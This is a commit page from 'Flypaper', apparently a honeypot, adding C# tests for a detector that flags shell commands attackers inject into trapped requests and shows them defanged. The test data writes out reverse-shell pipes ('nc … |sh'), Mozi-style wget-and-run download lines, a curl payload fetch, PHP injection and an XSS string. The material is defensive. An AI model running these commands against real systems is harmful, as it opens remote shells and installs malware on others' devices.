Flag commands that attackers try to inject
Build and deploy / build (push) Successful in 1m32s
Release / image (push) Successful in 1m54s
Build and deploy / deploy (push) Successful in 30s
Release / release (push) Successful in 7s

Path, headers and body of every catch are checked; command and target
server are stored, shown defanged in the dashboard and via MCP
list_commands. Changelog prepared for 0.11.0.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
This commit is contained in:
TomandClaude Sonnet 5.5 committed 2026-11-27 21:22:19 +01:00
1 parent b559f83550
commit c2ecb14b4a
25 files changed
+948 -18

No files matched your search

@@ -0,0 +1,67 @@
using Flypaper.Core.Analysis;
using Shouldly;
namespace Flypaper.Tests.Core;
public sealed class CommandDetectorTests
{
[Theory]
[InlineData("submit-url=%2Fsyscmd.asp&sysCmd=nc+192.0.2.7+4545%7Csh&save=&adsldbg=0", "sysCmd=nc 192.0.2.7 4545|sh", "192.0.2.7:4545")]
[InlineData("target_addr=nc+192.0.2.7+4545%7Csh&waninf=0", "target_addr=nc 192.0.2.7 4545|sh", "192.0.2.7:4545")]
[InlineData("pingAddr=%60nc+192.0.2.7+4545%7Csh%60&wanif=65535&go=+Ping", "pingAddr=`nc 192.0.2.7 4545|sh`", "192.0.2.7:4545")]
public void Finds_commands_in_form_bodies(string body, string command, string server)
{
var found = CommandDetector.Detect("POST host/boaform/admin/formSysCmd", null, body).ShouldNotBeNull();
found.Command.ShouldBe(command);
found.Server.ShouldBe(server);
}
[Theory]
[InlineData("GET h/device.rsp?opt=sys&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F192.0.2.9%2Farm7%3B%20chmod%20777%20%2A", "192.0.2.9")]
[InlineData("GET h/setup.cgi?cmd=rm+-rf+/tmp/*;wget+http://192.0.2.9:32791/Mozi.m+-O+/tmp/netgear;sh+netgear", "192.0.2.9:32791")]
[InlineData("GET h/shell?cd+/tmp;rm+-rf+*;wget+http://192.0.2.9:11629/Mozi.a;chmod+777+Mozi.a", "192.0.2.9:11629")]
[InlineData("GET h/x?c=curl%20-s%20-o%20/tmp/a%20https://bad.example/a.sh", "bad.example")]
public void Finds_download_servers_in_the_path(string target, string server) =>
CommandDetector.Detect(target, null, null).ShouldNotBeNull().Server.ShouldBe(server);
[Fact]
public void Finds_injected_php_code_without_a_server()
{
var found = CommandDetector.Detect("POST h/php-cgi/php-cgi.exe", null, "<?php echo @get_current_user(); ?>").ShouldNotBeNull();
found.Command.ShouldStartWith("<?php");
found.Server.ShouldBeNull();
}
[Theory]
[InlineData("GET h/", "User-Agent: curl/8.5.0\nHost: 192.0.2.1\nAccept: */*\n", null)]
[InlineData("GET h/", "User-Agent: Wget/1.21.4\nReferer: http://192.0.2.1/\n", null)]
[InlineData("POST h/wp-login.php", "Host: x\n", "log=testnutzer&pwd=nur-ein-test")]
[InlineData("GET h/.env", null, null)]
[InlineData("GET h/wiki/nc-lorem/sh", null, null)]
[InlineData("POST h/api/graphql", null, "{\"query\":\"query IntrospectionQuery{__schema{types{name}}}\"}")]
[InlineData("GET h/?url=http://192.0.2.1/", "User-Agent: Mozilla/5.0 (compatible; zgrab)\n", null)]
[InlineData(null, null, null)]
public void Stays_quiet_on_ordinary_requests(string? target, string? headers, string? body) =>
CommandDetector.Detect(target, headers, body).ShouldBeNull();
[Fact]
public void Limits_long_commands_and_removes_control_characters()
{
var body = new string('a', 2000) + "\r\nwget http://192.0.2.9/x " + new string('b', 2000);
var found = CommandDetector.Detect("POST h/", null, body).ShouldNotBeNull();
found.Command.Length.ShouldBeLessThanOrEqualTo(CommandDetector.MaxCommandLength);
found.Command.ShouldContain("wget http://192.0.2.9/x");
found.Command.ShouldNotContain("\n");
}
[Theory]
[InlineData("nc 192.0.2.7 4545|sh", "nc 192[.]0[.]2[.]7 4545|sh")]
[InlineData("wget http://bad.example/a.sh -O /tmp/a.sh", "wget hxxp://bad[.]example/a.sh -O /tmp/a.sh")]
[InlineData("curl https://192.0.2.9:80/x", "curl hxxps://192[.]0[.]2[.]9:80/x")]
public void Defang_breaks_addresses_so_they_cannot_be_opened(string command, string expected) =>
Defang.Text(command).ShouldBe(expected);
}
@@ -20,7 +20,7 @@ public sealed class FlypaperToolsTests : IDisposable
{
var governor = Substitute.For<IConnectionGovernor>();
governor.ActiveConnections.Returns(2);
_tools = new FlypaperTools(new CatchQueries(_data.Factory), governor, _active, _enricher, new FixedTimeProvider(McpTestData.Now));
_tools = new FlypaperTools(new CatchQueries(_data.Factory), new CommandQueries(_data.Factory), governor, _active, _enricher, new FixedTimeProvider(McpTestData.Now));
}
[Fact]
+2 -1
View File
@@ -24,7 +24,7 @@ public sealed class McpEndpointTests : IDisposable
}
private static readonly string[] ReadTools =
["get_stats", "get_request", "list_active", "list_catches", "longest_catches", "lookup_ip", "top", "list_explanation_rules", "list_unexplained", "test_explanation_rule"];
["get_stats", "get_request", "list_commands", "list_active", "list_catches", "longest_catches", "lookup_ip", "top", "list_explanation_rules", "list_unexplained", "test_explanation_rule"];
[Fact]
public async Task Rejects_requests_without_token()
@@ -82,6 +82,7 @@ public sealed class McpEndpointTests : IDisposable
{ "get_stats", """{"period":"24h"}""" },
{ "list_active", """{}""" },
{ "get_request", """{"id":1}""" },
{ "list_commands", """{"period":"all"}""" },
{ "list_catches", """{}""" },
{ "list_catches", """{"country":"CN","limit":1}""" },
{ "top", """{"dimension":"ips","period":"all"}""" },
@@ -0,0 +1,66 @@
using System.Net;
using Flypaper.Core.Models;
using Flypaper.Storage.Dashboard;
using Flypaper.Storage.Entities;
using Flypaper.Storage.Events;
using Flypaper.Storage.Queries;
using Flypaper.Tests.Mcp;
using Microsoft.Extensions.Logging.Abstractions;
using Shouldly;
namespace Flypaper.Tests.Storage;
public sealed class CommandStorageTests : IDisposable
{
private readonly McpTestData _data = new();
[Fact]
public async Task Groups_commands_by_server_across_attackers()
{
using (var db = _data.Factory.CreateDbContext())
{
db.TrapEvents.AddRange(
Entity("203.0.113.1", 3, "sysCmd=nc+192.0.2.7+4545%7Csh"),
Entity("203.0.113.2", 1, "pingAddr=%60nc+192.0.2.7+4545%7Csh%60"),
Entity("203.0.113.3", 2, "log=a&pwd=b"));
db.SaveChanges();
}
var group = (await new CommandQueries(_data.Factory).GetGroupsAsync(null, 10)).ShouldHaveSingleItem();
group.Server.ShouldBe("192.0.2.7:4545");
group.Catches.ShouldBe(2);
group.Ips.ShouldBe(2);
group.LastIp.ShouldBe("203.0.113.2");
}
[Fact]
public async Task Backfill_checks_stored_catches_once()
{
using (var db = _data.Factory.CreateDbContext())
{
var old = Entity("203.0.113.4", 5, "x=1");
old.Target = "GET h/setup.cgi?cmd=wget+http://192.0.2.9:1/a";
old.Command = null;
old.CommandScan = 0;
db.TrapEvents.Add(old);
db.SaveChanges();
}
var backfill = new CommandBackfill(_data.Factory, NullLogger<CommandBackfill>.Instance);
(await backfill.BackfillAsync(default)).ShouldBe(1);
(await backfill.BackfillAsync(default)).ShouldBe(0);
(await new CommandQueries(_data.Factory).GetGroupsAsync(null, 10)).ShouldHaveSingleItem().Server.ShouldBe("192.0.2.9:1");
}
private static TrapEventEntity Entity(string ip, int hoursAgo, string body)
{
var started = McpTestData.Now.AddHours(-hoursAgo);
return TrapEventEntity.From(new TrapEvent(
Guid.NewGuid(), TrapProtocol.Http, IPAddress.Parse(ip), "maze-drip", started, started.AddSeconds(2), 10,
TrapOutcome.ClientAborted, "POST h/boaform/admin/formSysCmd", null, new RequestDetails("Host: h\n", body, body.Length, false)));
}
public void Dispose() => _data.Dispose();
}
+10 -6
View File
@@ -30,7 +30,7 @@ public sealed partial class RequestViewTests : IDisposable
public async Task Signed_in_users_get_the_request_and_attacker_markup_stays_out_of_the_page()
{
using var client = _factory.CreateClient(new WebApplicationFactoryClientOptions { AllowAutoRedirect = false });
var (withRequest, without) = await SeedAsync();
var (withRequest, withCommand) = await SeedAsync();
(await client.GetAsync($"/catches/{withRequest}/request")).StatusCode.ShouldBe(HttpStatusCode.Redirect);
@@ -45,17 +45,21 @@ public sealed partial class RequestViewTests : IDisposable
json.RootElement.GetProperty("headers").GetString().ShouldNotBeNull().ShouldContain("Host: x");
var page = await client.GetStringAsync("/");
page.ShouldContain("Eingeschleuste Befehle");
page.ShouldContain("192[.]0[.]2[.]7:4545");
page.ShouldNotContain("192.0.2.7");
(await client.GetStringAsync("/?befehl=ja")).ShouldContain($"event:{withCommand}");
page.ShouldContain($"data-request=\"catches/{withRequest}/request\"");
page.ShouldNotContain($"data-request=\"catches/{without}/request\"");
page.ShouldNotContain("<script>alert(1)</script>");
page.ShouldNotContain("<script>alert(1)</script>");
}
private async Task<(long WithRequest, long Without)> SeedAsync()
private async Task<(long WithRequest, long WithCommand)> SeedAsync()
{
await using var db = await _factory.Services.GetRequiredService<IDbContextFactory<FlypaperDbContext>>().CreateDbContextAsync();
var first = Entity(new RequestDetails("Host: x\n", "<script>alert(1)</script>", 25, false));
var second = Entity(null);
db.TrapEvents.AddRange(first, second);
var second = Entity(new RequestDetails("Host: x\n", "sysCmd=nc+192.0.2.7+4545%7Csh", 29, false));
var third = Entity(null);
db.TrapEvents.AddRange(first, second, third);
await db.SaveChangesAsync();
return (first.Id, second.Id);
}